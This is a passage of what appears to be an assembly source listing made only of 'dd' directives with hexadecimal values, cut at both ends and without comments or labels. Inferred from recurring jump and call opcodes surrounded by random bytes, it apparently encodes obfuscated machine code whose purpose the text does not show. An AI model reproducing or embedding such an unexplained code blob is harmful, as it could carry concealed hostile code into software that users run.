8A60FA8Bh, 3BBA66C5h dd 0AE9615Bh, 88000000h, 2A361775h, 2F8A088h, 0D38B66AAh dd 8810Fh, 0F600000h, 8Ch, 0F3816100h, 228596EBh, 0D2EE81FCh dd 534D88DCh, 0EE8h, 57F52100h, 6D97EB5Eh, 0FEF0D7E9h dd 8B716508h, 605A5AF7h, 2800Fh, 68B20000h, 0CCE68166h dd 0D9806142h, 63EBB5Dh, 0C8801B64h, 0B890F9Dh, 0F000000h dd 58Eh, 6D13BF00h, 0CE97D5Ch, 7C000000h, 83090653h, 0F699CB73h dd 8A7ECAA2h, 7E9C6h, 95A90000h, 0A6809BEAh, 5F67BB6Ah dd 80524657h, 8B591AEFh, 10E8F3h, 712E0000h, 0C4DFF833h dd 5979A00Fh, 0D3F618C3h, 0E96007B1h, 13h, 0D9EA0371h dd 0DE43F608h, 4117B68Dh, 6D720188h, 0E9F8E3D6h, 0Fh, 561EE1C7h dd 0D78D38Fh, 14AADEFh, 61CE00DCh, 8B666059h, 0D0B860F3h dd 6611DDB9h, 32D8F181h, 8F0F6161h, 0 dd 8E8h, 0AC300800h, 0FC88B654h, 38C0F6Dh, 66000000h, 0F95ECA8Bh dd 0BFD38B66h, 45017FDFh, 0CE9F5h, 28E20000h, 7C38AD85h dd 0B22849F2h, 8B662ED5h, 26F381FEh, 0E9599301h, 9, 0E3E4EF8Eh dd 1E6A4F86h, 5870FE9h, 66000000h, 0B2CDF081h, 0F66967BBh dd 86E6803Ch, 5E8F860h, 0C000000h, 2E48D0B6h, 11E9h, 0C4B9AD00h dd 11166131h, 219D75EEh, 0B95670E1h, 6159691Fh, 0A1A889B9h dd 88E0F56h, 0F000000h, 283h, 0F05B000h, 98Dh, 38D0F00h dd 80000000h, 0DE836CCh, 49000000h, 0D028A7D6h, 9D4704CAh dd 0FE03E50Bh, 13E9h, 0BCE59A00h, 0DD5EF171h, 0FEB2B3B5h dd 0F5209D5Ah, 976E2100h, 0F53605Bh, 85h, 66505B00h, 6159D88Bh dd 0E5EDBB66h, 5820F56h, 66000000h, 49C8DB81h, 0EE959h dd 7DC50000h, 7BEE7F05h, 8509304Bh, 0B805DC74h, 0F76C580h dd 0B84h, 58A0F00h, 66000000h, 98B2F281h, 6660F88Ah, 3BCEF81h dd 61C1BF0Fh, 0F0F08166h, 0EE949h, 7A170000h, 0A587DD50h dd 6C8F293Fh, 0C53EFD42h, 0CE8FC8Ah, 0FA000000h, 685A7BAFh dd 1B4A1F84h, 60B79EF2h, 61C9D380h, 5810F59h, 66000000h dd 91E0D981h, 0EE9h, 440BB600h, 0AA37B579h, 0CD73ADCEh dd 0F297592h, 182h, 8E9F500h, 5A000000h, 61393360h, 51A3228Eh dd 6E8h, 35C36400h, 81089377h, 3883D6DBh, 805A5B10h, 7EBB6ACAh dd 0F42CD42h, 8166F3B7h, 663E9CDFh, 0FC5274BFh, 0C1816657h dd 565B59BCh, 820F5BF8h, 3, 81E9D680h, 0D032B0CBh, 6BC9810Ch dd 8B393E55h, 0F9E281D6h, 0B91AF35Ch, 42E02D90h, 6170B966h dd 0AABAD281h, 0FF83ACDh, 188Bh, 10E800h, 5DD50000h, 9DD427E9h dd 0C9A2FCAh, 7D21E180h, 5E53D2C9h, 81F08B59h, 6331BDC0h dd 0E9CB8B17h, 0Ch, 42DBB4C2h, 0A438C5E2h, 6F49F3B3h, 12E8h dd 8A12C900h, 75FF9BD7h, 867D4C74h, 5EE4FCB1h, 0E9347D5Ah dd 11h, 5ECB640h, 0A89B5208h, 7BE7F0D6h, 0B21FFC52h, 0E9815EB2h dd 68FD6419h, 830F5850h, 3, 0F11E880h, 286h, 56C78B00h dd 5BFB8B66h, 0F7DA8166h, 0CF8B66ECh, 0C8B0Fh, 820F0000h dd 6, 820Fh, 14E80000h, 0B8000000h, 0E3D1C8A0h, 15DD7E1Dh dd 3DC52935h, 4133086Ch, 0F84110Ch, 682h, 56C98100h, 5B5C3C66h dd 4E06E281h, 0D3815A41h, 15B393B1h, 660CCF80h, 0DC15CE81h dd 8B6603B7h, 0DE81F8D1h, 0A671622h, 0EE8h, 0E1140E00h dd 56E474EDh, 8EB7A245h, 0E96AA5D8h, 0Ch, 0BFE451Ah, 0D1406D8Ch dd 0A2567BABh, 0C9BF0F58h, 6CE88166h, 0A5B8662Dh, 8EF6809Eh dd 11E9F28Bh, 88000000h, 9C7A1B52h, 53331288h, 0BC88F68Fh dd 85E2820Ah, 80C88B66h, 0FA8B08E3h, 8381BA66h, 0AC85FAB9h dd 12E86Ch, 0AB4F0000h, 0A4AA95E9h, 83C78C25h, 0B3DDE4D1h dd 66EE305Ah, 0AFC781h, 0F858451Bh, 0FE8h, 9237AD00h, 9A689087h dd 34913AFFh, 0E7A637D1h, 1DE78166h, 8A0F5E6Eh, 5, 8CE647BEh dd 0CB806073h, 11E9ABh, 44AB0000h, 0C475CF19h, 59B099EDh dd 7F148C04h, 61949A27h, 9E8h, 89441B00h, 0B525BFF3h, 0F593D0Bh dd 1787h, 12E900h, 0CCCD0000h, 7FBE9616h, 1497DA1h, 21359D21h dd 1E105689h, 0D29EBF51h, 8B5B24AFh, 7FF180D0h, 0A1E28166h dd 0C28166A6h, 0B966F950h, 0BB564DEEh, 3A6C63Ch, 0E627BE5Fh dd 816678C6h, 80B42EC6h, 5E9A1E3h, 9C000000h, 4BD0CFCEh dd 0B9C78166h, 0F7B70F36h, 81F98B66h, 0F5EDEFC3h, 0AEBBF953h dd 0E940ED2Eh, 0Bh, 91216D9Fh, 0C497EF1h, 0B13C3199h, 0F28166D0h dd 8166AD41h, 0FD3F5C9h, 583h, 339CB800h, 0EE9228Dh, 1F000000h dd 26F0AF29h, 63FF1914h, 2B0FD5FDh, 3880F1Bh, 66000000h dd 8B66CE8Bh, 8B89B5F2h, 70E280F3h, 0B70FD88Bh, 11E8D2h dd 0E3230000h, 576EE177h, 8328F0D1h, 5B689740h, 0FC7B721h dd 665EC2BFh, 6630C9B8h, 0F73E4B9h, 8B66CEB7h, 5D881CFh dd 805C292Dh, 0E96097F3h, 0Ch, 19BEA893h, 8C968471h, 0A408678Eh dd 0E8A0Fh, 9E90000h, 1B000000h, 0D7517604h, 0C60E9B68h dd 68C0F61h, 81000000h, 6A5A16EBh, 810F39h, 57000000h dd 59C7DE80h, 10E9h, 174D8100h, 8BC6BF3Eh, 444AAE85h, 2AEA3A5Eh dd 0CE9F9B4h, 0D1000000h, 64A20060h, 0D6105EFAh, 0F8A39068h dd 3850Fh, 0B70F0000h, 0C1C981D7h, 0FC3B5F0Ah, 0DAEF23BAh dd 0A5E1817Ah, 80722495h, 0CE8E8E9h, 0F6000000h, 0D5E2190h dd 25F34F05h, 81438CE1h, 8956C5E6h, 0CB815943h, 2A98B38Ch dd 6830FF9h, 81000000h, 524550C6h, 17850F50h, 0E9000000h dd 12h, 0ABB1AF10h, 0C5923D1Bh, 50D648E8h, 0EF9E5AF9h dd 8B6696B4h, 0E38166D6h, 0FF83963h, 8B66F0B7h, 12E8C3h dd 50220000h, 0F39C3355h, 689B1260h, 6CCBF8FFh, 7DC36CFEh dd 38B0Fh, 0B70F0000h, 0AE958FBh, 0F0000000h, 0F4DCB5FCh dd 4914D6E4h, 53E38A4Ah, 5F8ADE80h, 7C9E6ABFh, 0C9816671h dd 840F8D2Dh, 0 dd 57D7B70Fh, 3890Fh, 0BF0F0000h, 0FF95AF0h, 580h, 75AAB800h dd 0BE665C7Bh, 8B66E350h, 66C78BD7h, 813323BAh, 9E8FFBD8h dd 0CE905h, 5A360000h, 0E97CE5h, 7E228B95h, 870FFF74h dd 5, 0C2695EBEh, 38A0F18h, 0F000000h, 66F9D8BFh, 0CBD9D881h dd 6ADE8166h, 7880F35h, 0F000000h, 185h, 0E950F800h, 8 dd 575DE391h, 58B09276h, 8B86659h, 0C081664Bh, 29BB0765h dd 6609C17Bh, 60A407BEh, 66DA8B66h, 61C833BEh, 0DE9h, 0A85B4100h dd 0D9DC8896h, 0EC2771FAh, 0D6B89C64h, 0F8449FBBh, 0F3F5BA66h dd 0FE8h, 491A8300h, 38450480h, 682E4024h, 14AAA518h, 0E95FF1B0h dd 9, 1BD96F90h, 0EA44667Bh, 68C0F74h, 81000000h, 7F316CD3h dd 58F55370h, 0E943E780h, 13h, 77007BEDh, 0C76E91F4h, 0A677A285h dd 6F23F8A7h, 0FCBB432h, 18Ch, 850FFC00h, 10h, 0BE9h, 3A0F900h dd 0CAFA384Bh, 518E6E26h, 9500DA81h, 0E6804DFCh, 8B0F24h dd 0F000000h, 8166D0B7h, 669F0BCAh, 81BFCEB8h, 0E6ED48F2h dd 0E9FCFC70h, 14h, 0F5BE6C8Bh, 4B37DCBEh, 2D64AB9Ch, 8DA54DEFh dd 20A8750Bh, 0FE8h, 5D1D5000h, 503D2121h, 0F621B806h dd 0ADD3D23Ah, 8D0Fh, 0E85B0000h, 7, 5F9074F9h, 0E8D2635Eh dd 8, 914E07EEh, 675CC060h, 8D0Fh, 585E0000h, 14E9h, 3CA2E800h dd 3E77CA35h, 9A34841Fh, 0D7DB87A3h, 0B7CED4C2h, 5E84Ah dd 496F0000h, 0E97A4203h, 7, 0ED373EDFh, 5A9C7E7Ah, 2406BF66h dd 0C4D447B8h, 0C28B6612h, 0EBC880BBh, 12E841h, 289E0000h dd 0B2CACEB1h, 76D6E64Fh, 6F8DC103h, 0C9C20AFCh, 2B67F281h dd 8A5E2A18h, 462DB8F0h, 830F0892h, 9, 0DA816660h, 67B559B9h dd 0A3CF8061h, 0E8C3B70Fh, 0Dh, 4BAB4138h, 6D4BF680h, 0AD5AAE55h dd 0C68B66C7h, 3820F5Ah, 0F000000h, 0E781FFB7h, 6687AAD9h dd 13E9h, 0C3D68D00h, 0CB777D2Fh, 7DB32EADh, 32AC66D3h dd 26CBBA43h, 0AE9h, 0BCB4CD00h, 0B36B80B6h, 8084DEA8h dd 6E82DD2h, 40000000h, 0AE3FF4D5h, 0DE99Ch, 0C3120000h dd 737A608Bh, 0E2878490h, 5B623F18h, 6AB8CE8Bh, 665A6F0Fh dd 0F1A33B8h, 0A82h, 890F6000h, 0 dd 5761D38Bh, 17BF6659h, 6E9ADh, 0B4E80000h, 0FFC32629h dd 3DB9CA8Bh, 8B20EE3Eh, 665FB7F7h, 0E409D381h, 0FE8B6653h dd 0FE95Fh, 0FE810000h, 0B2E94E2Fh, 1525EACh, 77271214h dd 4FBF6695h, 0D7BF0FB1h, 0CE9h, 46196D00h, 0BACD8B0Eh dd 0B1752AB5h, 0D9B70FB1h, 6E960h, 6BF40000h, 0E0DC61B7h dd 6189E480h, 8B6660F8h, 16840FDEh, 0E9000000h, 11h, 2864884Eh dd 0E6C55807h, 6F71B2ACh, 92F366F0h, 8166616Bh, 0E9099DE7h dd 0Ch, 5F7CD353h, 824E26AAh, 141AD47Eh, 18D0Fh, 8BF80000h dd 0D3BF0FDAh, 58C0Fh, 0D5BE0000h, 0F42A2ACh, 0D86h, 8E900h dd 96AD0000h, 182578BBh, 8A0FF3B8h, 5, 0D38B6653h, 0E6816659h dd 0BB66AFCEh, 14E9F547h, 32000000h, 0E13AEF04h, 0FB20231Bh dd 29052FBBh, 0B1EE9535h, 0FC56554h, 870FCBB7h, 3, 80D3B70Fh dd 0D68B42DDh, 4860Fh, 0BF660000h, 0E8605AC6h, 11h, 4E26AA5Fh dd 1AD47E82h, 88A9D14h, 0D935C571h, 5E901h, 79F0000h, 5945A729h dd 5E9h, 0DCE63500h, 8061CA5Fh, 8C0F35CCh, 3, 0FFE8B66h dd 383h, 32F28000h, 0E9F6B70Fh, 7, 20C6128Dh, 8089FC44h dd 76BEA4F5h, 603E2C8Fh, 48A0Fh, 0B8660000h, 8E91B02h dd 25000000h, 9EB3C1B1h, 61D49C86h, 51F18B60h, 870Fh, 615E0000h dd 0BE960h, 3E970000h, 20BF883Fh, 569F6947h, 68CD805Eh dd 83BE6661h, 0AC2FB92Ah, 0B8660822h, 52605382h, 5AC2B70Fh dd 61D78B66h, 7E9h, 0BE3F0400h, 22BD6166h, 0B3A9D280h dd 0C38B66D6h, 0AC78166h, 0A0B260D2h, 816061F8h, 657474EFh dd 61F56069h, 0D1E98061h, 3CC98166h, 60CF8B22h, 61F55953h dd 0FD98AF9h, 0FC60F9BFh, 286FDDBFh, 0E580611Fh, 0DA8B66E6h dd 4890Fh, 0BA660000h, 0B8665EF0h, 0BF66746Dh, 0E980F50Dh dd 0C9BF0FD3h, 0FD7BF0Fh, 280h, 81DE8A00h, 7CAC7BF6h, 2820F39h dd 8B000000h, 7E9CBh, 64D00000h, 480EC5F0h, 667EB30Ch dd 60BF65BAh, 0F61DA8Ah, 6EBFD9BFh, 0F7E66B6h, 284h, 0E9F78B00h dd 7, 6D4E6BCDh, 81B9C29Ah, 0C8D750F2h, 0C2C3812Ch, 0F63D70Dh dd 0B8Fh, 58C0F00h, 66000000h, 26C1F081h, 0CF8B6060h, 61C78B66h dd 13E8h, 0AF3E0700h, 0D25539FFh, 703542F4h, 0D0B85F5Ah dd 5B5132FAh, 7E9615Ah, 91000000h, 1637410Ch, 0C3807D9Fh dd 0B70FFC71h, 11E9F1h, 51ED0000h, 0D60104FCh, 3BBBA7AFh dd 0FAF44ABEh, 0F030E4Eh, 389h, 6EE8000h, 11E960h, 57900000h dd 0FA16E893h, 316E7338h, 0A00700EBh, 0F934341h, 188Fh dd 13E900h, 65230000h, 0D50175FAh, 0E79F403Bh, 97F947B0h dd 1DC2565Bh, 37B96147h, 660D74E8h, 0F88BD88Bh, 7E9h, 0ADE21A00h dd 3BC0955Fh, 2D4D1CB8h, 0BA66F825h, 8B668FD9h, 0B2D98BD7h dd 31E1812Bh, 6007FEC7h, 10E9h, 31A8EC00h, 0BE54741Dh dd 8B59B12Dh, 11B58B16h, 0BF0F61F3h, 0E9C28BF7h, 0Ch, 0D3E278E2h dd 1289C5FDh, 48FE304Ah, 4656BA66h, 38C0Fh, 0B70F0000h dd 0CE8166D6h, 0B70F5968h, 0D1BB66D8h, 8BDF8BDDh, 0FE18AC8h dd 8A0FFABFh, 2, 870F5E50h, 5, 0D0C68166h, 0DE81F905h dd 19E0A83Dh, 9E9h, 0CD6C1000h, 5FDB0F05h, 850FDCB3h, 2 dd 0B70FC68Bh, 14E8F9h, 66C80000h, 2651B75Bh, 0C98D437Bh dd 0B42146C2h, 8E50F5F0h, 0B866C263h, 805A3BC4h, 6E9BADEh dd 94000000h, 5E66A5DCh, 0DA8B6624h, 0BF0FCA8Bh, 0FAB960DAh dd 0F00AA0Bh, 6661C6BFh, 14E9D98Bh, 4B000000h, 0CCE76BC4h dd 50258030h, 0AC32771Eh, 0E35760DEh, 6649584Bh, 0BA32F281h dd 16E78166h, 80F98B31h, 8A0FF6C3h, 11h, 0AE960h, 40310000h dd 7AAD5F75h, 0EE69A43Eh, 48BA6661h, 0CABF0F34h, 0EF80C38Bh dd 0FE8604Fh, 66000000h, 0E635B0E5h, 69CA5FDCh, 0F9E7CE84h dd 0AE8F4F7h, 0E4000000h, 0A88EC7D1h, 1492D253h, 615E5855h dd 2800Fh, 0FB60000h, 14E8h, 0ABDA2700h, 0CB4FEDCAh, 884C3E5h dd 5E7F353Bh, 0DED69E83h, 0BE96Ah, 0D20F0000h, 467C0C16h dd 4C561D4Bh, 0F9605B27h, 78F38166h, 66606178h, 0B966CF8Bh dd 0E8614126h, 11h, 3E77CA35h, 9A34841Fh, 0D7DB87A3h, 0B7CED4C2h dd 1EBA664Ah, 9CBA5EBAh, 60766CF0h, 0FC92BA66h, 0F61DE8Bh dd 289h, 815B5100h, 6C5780D8h, 0BE838h, 207E0000h, 0E6FEA60Ch dd 265A7117h, 0BE9577Eh, 0DF000000h, 9169F162h, 9ADA1409h dd 5E5F0049h, 0E38166F5h, 13E96CF9h, 0C3000000h, 8A5BBB87h dd 0A202C086h, 0A9F9D11Eh, 0F3A3E6C2h, 8166A139h, 60231EF2h dd 0E9A2D480h, 0Eh, 86335730h, 99945C1Fh, 0D499129h, 0FC6197B6h dd 598A0BB8h, 84BEF84Fh, 6663F95Bh, 6608BCBAh, 0A368C181h dd 5820FF5h, 0B9000000h, 2C00AFA6h, 8F0FCA8Ah, 4, 0C765BA66h dd 0A0EB8166h, 0CE963h, 80550000h, 0EBC4CB90h, 9C9F2F35h dd 0FA8B14BFh, 12E950FCh, 40000000h, 4B5F6341h, 7226A604h dd 8839180Ch, 8C00AA69h, 81665A50h, 816CE2D6h, 0EBBA34E7h dd 0CE906h, 0FA50000h, 0AAABFA7Bh, 86BA24FAh, 0D7818570h dd 72E550B0h, 0A880Fh, 860F0000h, 4, 0C342B966h, 0E9FB8B66h dd 0Fh, 14759F9Eh, 9B4DDDE6h, 833724BDh, 0BEBE0DC1h, 666978B9h dd 7E8h, 883C6700h, 0CB1AF5B2h, 0A6B3D181h, 0F8583183h dd 0BF8CCC80h, 7A05677Dh, 0B220BB66h, 0E28AF0B0h, 0BF66C78Bh dd 9E91D27h, 39000000h, 0CAB93B8Ch, 0E47B0123h, 4840Fh dd 0B9660000h, 8166E138h, 502E87F3h, 58D1F680h, 66F0E480h dd 802E04BFh, 8166C0F0h, 0E9EA9DDBh, 0Ch, 0A5412A99h, 69BE009h dd 31619281h, 3DB5A9B6h, 6840F57h, 0F000000h, 88h, 0BEFC5E00h dd 61E55B42h, 0F59F556h, 386h, 0C8B70F00h, 0EE9h, 47B7A100h dd 2D20E5D6h, 35AF5433h, 0E89911BBh, 9, 6047B113h, 405A6366h dd 0D38160C4h, 22464B21h, 61DFBF0Fh, 0DFBF665Eh, 50CA8B8Bh dd 8B58D08Ah, 0D88B66FEh, 11E9h, 1A4A9C00h, 4E3E442Ah dd 0B045CC0Ah, 0CFD01355h, 0E9814E42h, 0A504EC9h, 6840Fh dd 66570000h, 58D0DBBEh, 158E0Fh, 0FE80000h, 82000000h dd 2A04CF22h, 0DEB9E70Eh, 3FD8D82Bh, 665B6A22h, 0DD8ACE8Bh dd 2C7EEB81h, 0F38B4A2Dh, 81BFC180h, 0D3C9CDD3h, 0AE94Fh dd 0F95E0000h, 0D46E0CE8h, 974BF0CAh, 2D77EA81h, 81665E44h dd 66141EDEh, 4BCDC781h, 4E82D181h, 0F5F9768Dh, 13E9h dd 4DD8A600h, 0F5A00E8h, 1F3816E6h, 0EE0DF1DEh, 31BA4119h dd 13E960h, 60CF0000h, 0FEBE071Eh, 0CD67B9CEh, 2EE697DEh dd 114D2336h, 0B1BB663Bh, 15B76161h, 0FAEC880h, 283h, 0E9D78B00h dd 6, 0C660E70Fh, 8166F486h, 0FB17ADFh, 0A80h, 5E900h dd 8BBD0000h, 6653568Ah, 0F6746B9h, 0A89h, 4820F00h, 66000000h dd 609175BBh, 0CBA6657h, 12E95BC8h, 0F0000000h, 0C69F1974h dd 6BF89FEBh, 4C6BDB0Bh, 403175AAh, 8B666175h, 0F68151F0h dd 0EFC7D8Ah, 0EE95Fh, 0F1020000h, 8398B409h, 9D807870h dd 0C4C9E7DEh, 564EA6BBh, 0B8D98B03h dd 4AD833F2h, 8E9h, 90513900h, 628975F2h, 0C7D1816Bh, 0E8325D2Dh dd 13h, 0E4C757B4h, 0C8AB97Bh, 0B3463410h, 19E8FC95h, 8B37DA6Bh dd 0B70F5ECAh, 0F5352C0h, 84h, 0E9585900h, 0Fh, 0AD306F31h dd 12566BF5h, 75C5B161h, 66276C42h, 0E681CB8Bh, 59E59E3Dh dd 7E9h, 39C21A00h, 3F6BDCB2h, 0F9C1B70Fh, 8166EB8Ah, 0B13FE9E0h dd 0EE9DDh, 0B2570000h, 2167AD7Ah, 0FACB3E8Bh, 0D1EBB09Bh dd 3B5E281h, 665006A2h, 5B17A1BFh, 0EE9h, 0BD332400h, 9B85E6CCh dd 92A6B875h, 0E98F3780h, 8, 0CA5410ECh, 37631970h, 38C0Fh dd 0B70F0000h, 5E8D9h, 0F1BE0000h, 66EB44EDh, 0C3D3D681h dd 0FFB8B5Fh, 486h, 52BE6600h, 44BE6693h, 0DE9F5h, 46C40000h dd 26B9DFC3h, 0D689A1D3h, 812231E7h, 0F64F96C0h, 11E907h dd 0B8DF0000h, 589F8B50h, 0A0B7F46Dh, 24E36291h, 0E97E2DCDh dd 7, 221741ECh, 0F798492h, 481h, 46B96600h, 5CF280EBh dd 13E960h, 8A590000h, 6AB616ACh, 804340EFh, 2C0EA1BEh dd 0F951C0CBh, 61D08B29h, 0AE9h, 8564C300h, 1ABE8BA1h dd 0E98678C6h, 0Ah, 0CE8F95Eh, 0F0CAD46Eh, 8B66974Bh, 86F781FEh dd 0F16BF17h, 0BF0FC3B7h, 0DAB70FC1h, 0B3FEB850h, 0E9590A03h dd 10h, 0E6964EF2h, 9509A03Fh, 5257994Ah, 8945F780h, 13860Fh dd 0E8530000h, 0Bh, 0EFD92B85h, 88017E79h, 5FB19B41h, 45BA665Fh dd 0FCF9FC97h, 0AE9h, 0B72BCB00h, 42B345A1h, 0FD4404Ah dd 0CA8ADBB7h, 8221B866h, 0AE8h, 0B8759B00h, 378092A6h dd 66B6AA8Fh, 6659FE8Bh, 664F2BBFh, 8B0DBCB9h, 60DAB6DEh dd 0B9661AB4h, 8A61BF8Ah, 0D198B8EAh, 0D0802A2Ah, 0AE9B4h dd 97970000h, 0E7AF9679h, 6DA65DC0h, 466DBE66h, 0BE9F9h dd 0E7D70000h, 6BBAE3F8h, 6F31ACDh, 0CE9A9h, 5A0E0000h dd 5471490Dh, 8141EEA5h, 5E85C3Bh, 10000000h, 0A6C7708h dd 5FDFB70Fh, 56C68166h, 0D6B70F77h, 41BEF18Bh, 0B30797BCh dd 49E08070h, 6E8F5h, 0CE1C0000h, 419A224Fh, 48E0Fh, 0BB660000h dd 0F5ED88Ah, 587h, 3733BA00h, 0B70F1049h, 0FE9FEh, 0FA8D0000h dd 65CAB3CDh, 0D74BB03Bh, 0B1EC02F2h, 38B0FEAh, 66000000h dd 0F38BDE8Bh, 11E9h, 0B8806D00h, 1C98C78Bh, 20B9C1F7h dd 0FA4476B1h, 0EA80243Eh, 23BA669Ah, 68A0FD5h, 0F000000h dd 86h, 64C98000h, 840FCA8Bh, 1Ch, 16890Fh, 11E90000h dd 0CF000000h, 7869F6BEh, 562233D3h, 0FB7E137Bh, 4FB10B69h dd 0F44D380h, 1A80h, 14820F00h, 0E9000000h, 0Fh, 3AFBF184h dd 81B21CE5h, 6707CD86h, 66F4FBBBh, 8F0FFA8Bh, 14h, 0FE9h dd 1B1BB900h, 1A66194Dh, 9C3546DEh, 0F216506Dh, 0CBCBA3BAh dd 8151F867h, 0A181B3F1h, 0B8665E2Dh, 0B5609C1Bh, 3FB866F9h dd 0E681614Ah, 4342DFC4h, 17890FF5h, 60000000h, 2858CE81h dd 0AE96D6Bh, 0EE000000h, 5C3B8141h, 70144F50h, 81666163h dd 0FC79AEBh, 686h, 4DEB8100h, 0E94E2A35h, 9, 0A1CE56CFh dd 669F797Eh, 0FC58A70h, 0E081C3BFh, 42ACD55Fh, 9D01C981h dd 0E1810BA5h, 4CDCBFDBh, 8B66D88Bh, 0D6B9F8C1h, 660F9D09h dd 0F173E781h, 12E9h, 78BB9600h, 0F3B81825h, 7DB9943Ch dd 0BBDFB591h, 0B4B2AA33h, 47BA663Eh, 54B4FC9Bh, 51BA6660h dd 8F0F60ADh, 0 dd 840Fh, 61610000h, 14E9h, 0E7BD4400h, 0D7FA0F3Eh, 0B1494DCBh dd 355203Dh, 0CD8277EEh, 10E94Bh, 3F90000h, 0E96AE032h dd 0C25D8436h, 1BC03512h, 8B6672F0h, 14E9DAh, 711B0000h dd 0D93A7796h, 63EF2378h, 1C10042Dh, 816F880Fh, 0B70FBB59h dd 0BA66FCDAh, 8C0F90B0h, 0 dd 6E9h, 48A5C600h, 667FD5EDh, 60D298BBh, 0BE66CAB7h, 0F615BD2h dd 3383h, 14E800h, 120E0000h, 0C5A1709h, 6A3E48C0h, 14371F27h dd 0CD82FB8h, 14E90CFEh, 0 dd 0DEA6F8Bh, 0BF0BBF59h, 4CEF26CDh, 9081146Eh, 5A202082h dd 5BF9B450h, 8E960h, 0F16E0000h, 0BD8FE03Dh, 0D080FDB0h dd 8B6661D5h, 80DF8BD9h, 8A57DBE4h, 0BE95FC1h, 9D000000h dd 0E00B3284h, 3390188Dh, 0DE8BADE9h, 57BF6660h, 2820FE5h dd 50000000h, 8166615Ah, 605724C1h, 0F1B70F60h, 0F7F18166h dd 5053612Fh, 80615A5Bh, 0D68B07DDh, 8C0F47B7h, 4, 5BC88B57h dd 0AE9h, 0ED2ADD00h, 24D6B4AFh, 0E98B8556h, 11h, 94BF1CA0h dd 67B5A9B2h, 0EE6E4679h, 986D7434h, 1D36BEA2h, 0F6048BEh dd 0F60CAB7h, 6161C2BFh, 8BF6B70Fh, 0B8B8FCD1h, 66084D0Fh dd 0E92E0BBEh, 6, 3BE85EC2h, 0EE9EC55h, 0C7000000h, 56FE9656h dd 0AA8A27AFh, 11EF2123h, 561DB2E5h, 12E8h, 6FDC5600h dd 3D476475h, 49196666h, 58374305h, 5A101395h, 6E95259h dd 2D000000h, 5199ECAAh, 0B9665BF0h, 0C981F702h, 238E7DEBh dd 9952A4BAh, 0D1B70F70h, 6820F60h, 0F000000h, 8Fh, 0B8666000h dd 5CBE878Eh, 61377F05h, 5084BF61h, 8B665BB7h, 0DE9CFh dd 0C86E0000h, 24F8523Fh, 3BF74600h, 0E98F13BAh, 0Bh, 74CE5304h dd 4E0BD00Fh, 50B68E4Dh, 5FD1BF0Fh, 6E9h, 6A08CD00h, 8A11E541h dd 5BB060EAh, 61F88B66h, 0C4DE8166h, 38B0F36h, 66000000h dd 0F8F8DE8Bh, 2890Fh, 0F98B0000h, 840FF88Bh, 0 dd 6EB2BF66h, 14E9h, 0E769FF00h, 52360F2Ah, 0D67CFC69h dd 4FC0E93Ch, 0DD746484h, 0EF816683h, 0D381974Ch, 538F31EBh dd 830Fh, 46BE0000h, 0BB3B3847h, 0AEE01EBh, 6B6CF81h, 6E8317Fh dd 0ED000000h, 37113154h, 11E96066h, 26000000h, 0D0A6928h dd 0ED04C79h, 32AAB3ADh, 0E356821h, 8520F281h, 5F612E1Dh dd 0E381D88Bh, 618F3E9Ch, 0CE9F98Bh, 0F000000h, 0E07EF6CDh dd 5CC606C6h, 50612B0Dh, 8C2C34BBh, 0CBBB5905h, 0E96023CBh dd 11h, 1E1A263Eh, 41EF1119h, 0FE796F30h, 43212FD7h, 10E9FCB3h dd 0B3000000h, 0DE146D78h, 1AC215D8h, 0C9873132h, 0E921F2A4h dd 0Ah, 0C85ADBACh, 50D749EBh, 8E0F4430h, 8, 2820Fh, 5B520000h dd 60C1B70Fh, 0C666BF66h, 0C6816661h, 8C0FBF29h, 2, 0AE95E51h dd 84000000h, 1C4CE56Ah, 0EA1FE4ABh, 8E85Dh, 0F4170000h dd 0A457CBF1h, 0CF814830h, 5FD08394h, 13E959h, 25890000h dd 0E2AB729Fh, 3FB6E514h, 0C542E470h, 1DCCA2D8h, 0AE86061h dd 5E000000h, 0E95AE2E9h, 82AE8DC6h, 9E91Eh, 0A7A90000h dd 62AFABC5h, 5AB2B821h, 0FE8h, 3972F500h, 0FED82102h dd 6B708C20h, 0D5F6F2C3h, 615B5F51h, 12E9h, 1FBCEB00h dd 92DC2B72h, 5F4E4D8Eh, 2BAB618Ch, 0E90052D7h, 8, 17C52B01h dd 6375EC46h, 314C41BEh, 68C0F55h, 81000000h, 567C4DE0h dd 68F0F68h, 0F000000h, 83h, 0D6BF0F00h, 0EE86BB2h, 31000000h dd 659FCEECh, 0CB82BFEh, 0D1840DEh, 58FA8B0Fh, 0DEDC281h dd 5F5056AFh, 8B0Fh, 8B660000h, 0D8BF0FF8h, 0FD2C080h dd 38Dh, 0F18B6600h, 3E6FB0BEh, 0E9F88A04h, 0Eh, 87B9AE32h dd 398CF701h, 7E30CA14h, 0AE9E17Ah, 32000000h, 4570C662h dd 6E3EE4DCh, 14F18116h, 0F4CAE8Ah, 1283h, 0C810F00h, 0E8000000h dd 6, 5B211796h, 0F5B82C8h, 58Eh, 1F1CB900h, 47B06327h dd 72D38052h, 0C380FC59h, 0F2B70F32h, 13E8h, 0E1139400h dd 840794B2h, 5EA4F5DCh, 578C159Ah, 0DB13866Fh, 0DE9h dd 0DD71C00h, 0F4F37004h, 2B62C9EDh, 0E95BC1ACh, 12h, 358B96BDh dd 0F698D1CFh, 4C45E053h, 32C067Ch, 13E98177h, 9000000h dd 1414D3ABh, 5D23C6A7h, 15614E17h, 76EDBBA1h, 0F603C88h dd 589h, 0D9816600h, 0F680468Eh, 0BF0F61BEh, 14E8D6h, 0B4750000h dd 0B32C96E4h, 0BAD2EB9Bh, 5FF4B5A4h, 13BC3F92h, 0B96654A9h dd 665A7DD0h, 0BF0FC88Bh, 0EE9C1h, 91020000h, 0E6535C6Ch dd 465C9112h, 0C45A02Bh, 48E0Fh, 50510000h, 850F5F5Bh dd 2, 8B66CE8Bh, 0AB960D8h, 665FE449h, 61C4F2BFh, 2810Fh dd 49B30000h, 0CF8B6660h, 14E9h, 0D4C59600h, 6095FFFBh dd 87B272E4h, 0B99E9C70h, 27491B97h, 81666174h, 0BB2326D9h dd 0A735624h, 880Fh, 0DD8A0000h, 0FC28B66h, 8166CABFh dd 8BF605D2h, 8166FCFBh, 0F7FEFE8h, 48Ah, 0BBF6600h, 69B96663h dd 0AE9B2h, 5CD70000h, 0BA334BECh, 79B958DBh, 0DE960h dd 0B60B0000h, 1FF5F955h, 15E92B35h, 8A60C899h, 860F61D7h dd 5, 0A5C78166h, 0B960B99Eh, 666025BFh, 0E96FDCBEh, 0Eh dd 0DCFD68B9h, 1B7C2F3Ch, 8CB136FCh, 6661A533h, 0F00DBB9h dd 